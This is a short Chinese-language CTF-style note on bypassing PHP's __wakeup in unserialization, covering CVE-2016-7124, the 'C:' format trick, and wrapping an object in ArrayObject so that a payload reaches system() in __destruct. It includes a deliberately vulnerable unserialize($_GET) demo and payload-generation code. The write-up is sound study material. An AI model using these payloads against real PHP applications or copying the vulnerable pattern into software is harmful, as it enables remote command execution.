关于这个问题,首先得先考察php版本
CVE-2016-7124
php作用版本:
php5 < 5.6.25
php7 < 7.0.10
具体来说就是当序列化中的字符串的对象属性个数多余真实的属性个数时,会绕过__wakeup
比如这个例子:
O:4:"demo":1:{s:1:"a";b:1} ===> O:4:"demo":2:
C绕过
对象字符串空属性测试
C方法绕过适合空属性的对象字符串,以下测试demo在php5、7、8均测试过,均有以下情况
一个测试demo:
<?php
class demo{
public $a = true;
public function __wakeup(){
echo "wakeup"."<br>";
}
public function __destruct(){
echo "destruct"."<br>";
}
}
unserialize($_GET['a']);
- 正常的反序列化过程
- C绕过而且对象字符串有属性
发现__wakeup
和__destruct
均没有执行
- C绕过而且对象字符串没有属性
发现绕过了__wakeup
,并且__destruct
得以执行
需要利用对象属性进行恶意代码执行的方法
比如这个测试例子,如果要执行__destruct
函数中的system
函数,必然要使用到对象属性a
<?php
class demo{
public $a;
public function __wakeup(){
echo "wakeup"."<br>";
}
public function __destruct(){
echo "destruct"."<br>";
system($this->a);
}
}
解决方案是使用内置类绕过,参考愚人杯的题目:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#
Payload生成:
class demo{
public $a;
public function __wakeup(){
echo "wakeup"."<br>";
}
public function __destruct(){
echo "destruct"."<br>";
system($this->a);
}
}
$demo = new demo;
$demo->a = "whoami";
$arr = array("evil"=>$demo);
$oa = new ArrayObject($arr);
$res = serialize($oa); // 在序列化时 ArrayObject对象会被序列化 其属性array数组也会被序列化
echo $res;
测试版本为 php5<= 5.5.9 成功